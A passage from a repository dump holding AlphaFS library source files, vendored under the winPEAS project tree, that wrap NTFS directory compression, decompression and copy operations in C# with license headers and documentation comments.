transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <remarks>This will only decompress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.DisableCompression.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>\n      /// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path to a directory to decompress.</param>\n      [SecurityCritical]\n      public static void DisableCompression(string path)\n      {\n         Device.ToggleCompressionCore(null, true, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>\n      /// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path to a directory to decompress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DisableCompression(string path, PathFormat pathFormat)\n      {\n         Device.ToggleCompressionCore(null, true, path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.DisableCompressionTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>\n      /// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path to a directory to decompress.</param>\n      [SecurityCritical]\n      public static void DisableCompressionTransacted(KernelTransaction transaction, string path)\n      {\n         Device.ToggleCompressionCore(transaction, true, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Disables NTFS compression of the specified directory and the files in it.</summary>\n      /// <remarks>This method disables the directory-compression attribute. It will not decompress the current contents of the directory. However, newly created files and directories will be uncompressed.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <param name=\"path\">A path to a directory to decompress.</param>\n      [SecurityCritical]\n      public static void DisableCompressionTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         Device.ToggleCompressionCore(transaction, true, path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.EnableCompression.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>\n      /// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path to a directory to compress.</param>\n      [SecurityCritical]\n      public static void EnableCompression(string path)\n      {\n         Device.ToggleCompressionCore(null, true, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>\n      /// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path to a directory to compress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void EnableCompression(string path, PathFormat pathFormat)\n      {\n         Device.ToggleCompressionCore(null, true, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.EnableCompressionTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>\n      /// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path to a directory to compress.</param>\n      [SecurityCritical]\n      public static void EnableCompressionTransacted(KernelTransaction transaction, string path)\n      {\n         Device.ToggleCompressionCore(transaction, true, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>\n      /// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path to a directory to compress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void EnableCompressionTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         Device.ToggleCompressionCore(transaction, true, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.Copy.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      // .NET: Directory class does not contain the Copy() method, so mimic .NET File.Copy() methods.\n\n\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      